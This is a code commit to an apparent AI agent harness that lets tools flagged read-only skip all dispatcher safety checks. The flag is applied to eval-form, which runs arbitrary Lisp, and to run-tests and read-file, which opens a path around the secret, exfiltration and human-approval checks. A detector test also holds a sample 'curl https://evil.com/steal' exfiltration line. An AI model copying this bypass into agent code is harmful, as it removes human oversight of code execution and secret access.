v0.7.2: safe-tool read-only allowlist — TDD

Read-only cognitive tools auto-pass dispatcher-check unconditionally.
Added :read-only-p slot to cognitive-tool struct, :read-only-p keyword
to def-cognitive-tool macro, tool-read-only-p registry lookup.

- core-package: struct + macro + tool-read-only-p function
- security-dispatcher: early auto-pass in dispatcher-check, 2 new tests
- programming-tools: 7 tools marked :read-only-p t (search-files,
  find-files, read-file, list-directory, eval-form, run-tests,
  org-find-headline)
- Dispatcher: 38/38
This commit is contained in:
2026-05-08 16:28:10 -04:00
parent bec894ca4f
commit d2d61c5b44
6 changed files with 140 additions and 24 deletions

View File

@@ -70,10 +70,11 @@
#:hitl-approve #:hitl-approve
#:hitl-deny #:hitl-deny
#:hitl-handle-message #:hitl-handle-message
#:dispatcher-check-secret-path #:dispatcher-check-secret-path
#:dispatcher-check-shell-safety #:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags #:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil #:dispatcher-check-network-exfil
#:dispatcher-check
#:dispatcher-gate #:dispatcher-gate
#:wildcard-match #:wildcard-match
#:actuator-initialize #:actuator-initialize
@@ -142,6 +143,7 @@
#:cognitive-tool-parameters #:cognitive-tool-parameters
#:cognitive-tool-guard #:cognitive-tool-guard
#:cognitive-tool-body #:cognitive-tool-body
#:tool-read-only-p
#:register-probabilistic-backend #:register-probabilistic-backend
#:*probabilistic-backends* #:*probabilistic-backends*
#:*provider-cascade* #:*provider-cascade*
@@ -216,16 +218,18 @@
description description
parameters parameters
guard guard
body) body
read-only-p)
(defmacro def-cognitive-tool (name description parameters &key guard body) (defmacro def-cognitive-tool (name description parameters &key guard body read-only-p)
"Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter." "Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter."
`(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*) `(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*)
(make-cognitive-tool :name (string-downcase (string ',name)) (make-cognitive-tool :name (string-downcase (string ',name))
:description ,description :description ,description
:parameters ',parameters :parameters ',parameters
:guard ,guard :guard ,guard
:body ,body))) :body ,body
:read-only-p ,read-only-p)))
(defun cognitive-tool-prompt () (defun cognitive-tool-prompt ()
"Serialises all registered tools into a prompt string for the LLM." "Serialises all registered tools into a prompt string for the LLM."
@@ -246,6 +250,12 @@
(defun generate-tool-belt-prompt () (defun generate-tool-belt-prompt ()
(cognitive-tool-prompt)) (cognitive-tool-prompt))
(defun tool-read-only-p (name)
"Returns T if the named cognitive tool is read-only, NIL otherwise."
(let ((tool (gethash (string-downcase (string name)) *cognitive-tool-registry*)))
(when tool
(cognitive-tool-read-only-p tool))))
(defun log-message (msg &rest args) (defun log-message (msg &rest args)
"Centralized, thread-safe logging for the harness." "Centralized, thread-safe logging for the harness."
(let ((formatted-msg (apply #'format nil msg args))) (let ((formatted-msg (apply #'format nil msg args)))

View File

@@ -11,6 +11,7 @@
((:name "pattern" :description "The regex pattern to search for." :type "string") ((:name "pattern" :description "The regex pattern to search for." :type "string")
(:name "path" :description "Directory to search recursively." :type "string") (:name "path" :description "Directory to search recursively." :type "string")
(:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string")) (:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string"))
:read-only-p t
:guard nil :guard nil
:body (lambda (args) :body (lambda (args)
(block nil (block nil
@@ -43,9 +44,10 @@
(format nil "No matches for '~a' in ~a" pattern path))))))) (format nil "No matches for '~a' in ~a" pattern path)))))))
(def-cognitive-tool find-files (def-cognitive-tool find-files
"Find files matching a glob pattern under a directory." "Find files matching a glob pattern."
((:name "pattern" :description "Glob pattern (e.g. \"*.lisp\", \"core-*\")." :type "string") ((:name "pattern" :description "The glob pattern to match (e.g. \"*.lisp\")." :type "string")
(:name "path" :description "Directory to search in." :type "string")) (:name "path" :description "Directory to search in." :type "string"))
:read-only-p t
:guard nil :guard nil
:body (lambda (args) :body (lambda (args)
(block nil (block nil
@@ -67,6 +69,7 @@
((:name "filepath" :description "Path to the file to read." :type "string") ((:name "filepath" :description "Path to the file to read." :type "string")
(:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer") (:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer")
(:name "limit" :description "Optional: maximum number of lines to read." :type "integer")) (:name "limit" :description "Optional: maximum number of lines to read." :type "integer"))
:read-only-p t
:guard (lambda (args) (declare (ignore args)) nil) :guard (lambda (args) (declare (ignore args)) nil)
:body (lambda (args) :body (lambda (args)
(block nil (block nil
@@ -108,8 +111,9 @@
(def-cognitive-tool list-directory (def-cognitive-tool list-directory
"List the contents of a directory." "List the contents of a directory."
((:name "path" :description "Directory path to list." :type "string") ((:name "path" :description "Directory path to list." :type "string")
(:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string")) (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
:guard nil :read-only-p t
:guard nil
:body (lambda (args) :body (lambda (args)
(block nil (block nil
(let* ((path (getf args :path)) (let* ((path (getf args :path))
@@ -151,6 +155,7 @@
(def-cognitive-tool eval-form (def-cognitive-tool eval-form
"Evaluate a Lisp expression in the running image and return the result." "Evaluate a Lisp expression in the running image and return the result."
((:name "code" :description "The Lisp expression to evaluate as a string." :type "string")) ((:name "code" :description "The Lisp expression to evaluate as a string." :type "string"))
:read-only-p t
:guard nil :guard nil
:body (lambda (args) :body (lambda (args)
(block nil (block nil
@@ -167,6 +172,7 @@
(def-cognitive-tool run-tests (def-cognitive-tool run-tests
"Run FiveAM tests. With no arguments, runs all test suites." "Run FiveAM tests. With no arguments, runs all test suites."
((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string")) ((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string"))
:read-only-p t
:guard nil :guard nil
:body (lambda (args) :body (lambda (args)
(block nil (block nil
@@ -186,6 +192,7 @@
"Find an Org headline by ID or title in the memory store." "Find an Org headline by ID or title in the memory store."
((:name "id" :description "Optional: Org ID property to search for." :type "string") ((:name "id" :description "Optional: Org ID property to search for." :type "string")
(:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string")) (:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string"))
:read-only-p t
:guard nil :guard nil
:body (lambda (args) :body (lambda (args)
(block nil (block nil

View File

@@ -214,7 +214,11 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags, 2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval." 6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
(declare (ignore context)) (declare (ignore context))
(let* ((target (proto-get action :target)) (let* ((read-only-auto-pass
(let ((tool-name (proto-get (proto-get action :payload) :tool)))
(when (and tool-name (tool-read-only-p tool-name))
(return-from dispatcher-check action))))
(target (proto-get action :target))
(payload (proto-get action :payload)) (payload (proto-get action :payload))
(text (or (proto-get payload :text) (proto-get action :text))) (text (or (proto-get payload :text) (proto-get action :text)))
(filepath (or (proto-get payload :filepath) (filepath (or (proto-get payload :filepath)
@@ -524,3 +528,40 @@ Recognized formats:
(is (dispatcher-check-network-exfil "curl https://evil.com/steal")) (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
(is (not (dispatcher-check-network-exfil "echo hello")))) (is (not (dispatcher-check-network-exfil "echo hello"))))
(test test-safe-tool-read-only-auto-approve
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "test-ro-tool"
:description "Read-only test"
:parameters nil
:guard nil
:body nil
:read-only-p t))
(unwind-protect
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
(result (dispatcher-check action nil)))
(is (eq :REQUEST (getf result :type)))
(is (not (member (getf result :type) '(:LOG :approval-required)))))
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
(test test-safe-tool-write-still-checked
"Contract v0.7.2: write tools still go through full dispatcher check."
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "write-file"
:description "File writer"
:parameters nil
:guard nil
:body nil
:read-only-p nil))
(unwind-protect
(progn
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
(result (dispatcher-check action nil)))
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
(is (eq :approval-required (getf result :level)))
(is (search "HITL" (getf (getf result :payload) :message)))))
(remhash "write-file" passepartout::*cognitive-tool-registry*)))

View File

@@ -95,10 +95,11 @@ The package definition. All public symbols are exported here.
#:hitl-approve #:hitl-approve
#:hitl-deny #:hitl-deny
#:hitl-handle-message #:hitl-handle-message
#:dispatcher-check-secret-path #:dispatcher-check-secret-path
#:dispatcher-check-shell-safety #:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags #:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil #:dispatcher-check-network-exfil
#:dispatcher-check
#:dispatcher-gate #:dispatcher-gate
#:wildcard-match #:wildcard-match
#:actuator-initialize #:actuator-initialize
@@ -167,6 +168,7 @@ The package definition. All public symbols are exported here.
#:cognitive-tool-parameters #:cognitive-tool-parameters
#:cognitive-tool-guard #:cognitive-tool-guard
#:cognitive-tool-body #:cognitive-tool-body
#:tool-read-only-p
#:register-probabilistic-backend #:register-probabilistic-backend
#:*probabilistic-backends* #:*probabilistic-backends*
#:*provider-cascade* #:*provider-cascade*
@@ -266,18 +268,20 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip
description description
parameters parameters
guard guard
body) body
read-only-p)
#+end_src #+end_src
#+begin_src lisp #+begin_src lisp
(defmacro def-cognitive-tool (name description parameters &key guard body) (defmacro def-cognitive-tool (name description parameters &key guard body read-only-p)
"Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter." "Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter."
`(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*) `(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*)
(make-cognitive-tool :name (string-downcase (string ',name)) (make-cognitive-tool :name (string-downcase (string ',name))
:description ,description :description ,description
:parameters ',parameters :parameters ',parameters
:guard ,guard :guard ,guard
:body ,body))) :body ,body
:read-only-p ,read-only-p)))
#+end_src #+end_src
#+begin_src lisp #+begin_src lisp
@@ -299,6 +303,12 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip
;; Alias: generate-tool-belt-prompt → cognitive-tool-prompt ;; Alias: generate-tool-belt-prompt → cognitive-tool-prompt
(defun generate-tool-belt-prompt () (defun generate-tool-belt-prompt ()
(cognitive-tool-prompt)) (cognitive-tool-prompt))
(defun tool-read-only-p (name)
"Returns T if the named cognitive tool is read-only, NIL otherwise."
(let ((tool (gethash (string-downcase (string name)) *cognitive-tool-registry*)))
(when tool
(cognitive-tool-read-only-p tool))))
#+end_src #+end_src
*** Centralized logging (log-message) *** Centralized logging (log-message)

View File

@@ -48,6 +48,7 @@ Searches file contents recursively under a directory using regex pattern matchin
((:name "pattern" :description "The regex pattern to search for." :type "string") ((:name "pattern" :description "The regex pattern to search for." :type "string")
(:name "path" :description "Directory to search recursively." :type "string") (:name "path" :description "Directory to search recursively." :type "string")
(:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string")) (:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string"))
:read-only-p t
:guard nil :guard nil
:body (lambda (args) :body (lambda (args)
(block nil (block nil
@@ -86,9 +87,10 @@ Glob file matching using SBCL's ~directory~.
#+begin_src lisp #+begin_src lisp
(def-cognitive-tool find-files (def-cognitive-tool find-files
"Find files matching a glob pattern under a directory." "Find files matching a glob pattern."
((:name "pattern" :description "Glob pattern (e.g. \"*.lisp\", \"core-*\")." :type "string") ((:name "pattern" :description "The glob pattern to match (e.g. \"*.lisp\")." :type "string")
(:name "path" :description "Directory to search in." :type "string")) (:name "path" :description "Directory to search in." :type "string"))
:read-only-p t
:guard nil :guard nil
:body (lambda (args) :body (lambda (args)
(block nil (block nil
@@ -116,6 +118,7 @@ Reads a file into a string. Supports optional ~:start~ and ~:limit~ for partial
((:name "filepath" :description "Path to the file to read." :type "string") ((:name "filepath" :description "Path to the file to read." :type "string")
(:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer") (:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer")
(:name "limit" :description "Optional: maximum number of lines to read." :type "integer")) (:name "limit" :description "Optional: maximum number of lines to read." :type "integer"))
:read-only-p t
:guard (lambda (args) (declare (ignore args)) nil) :guard (lambda (args) (declare (ignore args)) nil)
:body (lambda (args) :body (lambda (args)
(block nil (block nil
@@ -169,8 +172,9 @@ Lists the contents of a directory, optionally filtered by a glob pattern.
(def-cognitive-tool list-directory (def-cognitive-tool list-directory
"List the contents of a directory." "List the contents of a directory."
((:name "path" :description "Directory path to list." :type "string") ((:name "path" :description "Directory path to list." :type "string")
(:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string")) (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
:guard nil :read-only-p t
:guard nil
:body (lambda (args) :body (lambda (args)
(block nil (block nil
(let* ((path (getf args :path)) (let* ((path (getf args :path))
@@ -224,6 +228,7 @@ Evaluates a Lisp expression in the running image. Binds ~*read-eval*~ to nil for
(def-cognitive-tool eval-form (def-cognitive-tool eval-form
"Evaluate a Lisp expression in the running image and return the result." "Evaluate a Lisp expression in the running image and return the result."
((:name "code" :description "The Lisp expression to evaluate as a string." :type "string")) ((:name "code" :description "The Lisp expression to evaluate as a string." :type "string"))
:read-only-p t
:guard nil :guard nil
:body (lambda (args) :body (lambda (args)
(block nil (block nil
@@ -246,6 +251,7 @@ Runs FiveAM test suites. Without arguments, runs all tests via ~fiveam:run-all-t
(def-cognitive-tool run-tests (def-cognitive-tool run-tests
"Run FiveAM tests. With no arguments, runs all test suites." "Run FiveAM tests. With no arguments, runs all test suites."
((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string")) ((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string"))
:read-only-p t
:guard nil :guard nil
:body (lambda (args) :body (lambda (args)
(block nil (block nil
@@ -271,6 +277,7 @@ Finds Org headlines in the memory store by ID property or title substring match.
"Find an Org headline by ID or title in the memory store." "Find an Org headline by ID or title in the memory store."
((:name "id" :description "Optional: Org ID property to search for." :type "string") ((:name "id" :description "Optional: Org ID property to search for." :type "string")
(:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string")) (:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string"))
:read-only-p t
:guard nil :guard nil
:body (lambda (args) :body (lambda (args)
(block nil (block nil

View File

@@ -385,7 +385,11 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags, 2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval." 6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
(declare (ignore context)) (declare (ignore context))
(let* ((target (proto-get action :target)) (let* ((read-only-auto-pass
(let ((tool-name (proto-get (proto-get action :payload) :tool)))
(when (and tool-name (tool-read-only-p tool-name))
(return-from dispatcher-check action))))
(target (proto-get action :target))
(payload (proto-get action :payload)) (payload (proto-get action :payload))
(text (or (proto-get payload :text) (proto-get action :text))) (text (or (proto-get payload :text) (proto-get action :text)))
(filepath (or (proto-get payload :filepath) (filepath (or (proto-get payload :filepath)
@@ -764,4 +768,41 @@ Recognized formats:
(is (dispatcher-check-network-exfil "curl https://evil.com/steal")) (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
(is (not (dispatcher-check-network-exfil "echo hello")))) (is (not (dispatcher-check-network-exfil "echo hello"))))
(test test-safe-tool-read-only-auto-approve
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "test-ro-tool"
:description "Read-only test"
:parameters nil
:guard nil
:body nil
:read-only-p t))
(unwind-protect
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
(result (dispatcher-check action nil)))
(is (eq :REQUEST (getf result :type)))
(is (not (member (getf result :type) '(:LOG :approval-required)))))
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
(test test-safe-tool-write-still-checked
"Contract v0.7.2: write tools still go through full dispatcher check."
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "write-file"
:description "File writer"
:parameters nil
:guard nil
:body nil
:read-only-p nil))
(unwind-protect
(progn
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
(result (dispatcher-check action nil)))
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
(is (eq :approval-required (getf result :level)))
(is (search "HITL" (getf (getf result :payload) :message)))))
(remhash "write-file" passepartout::*cognitive-tool-registry*)))
#+end_src #+end_src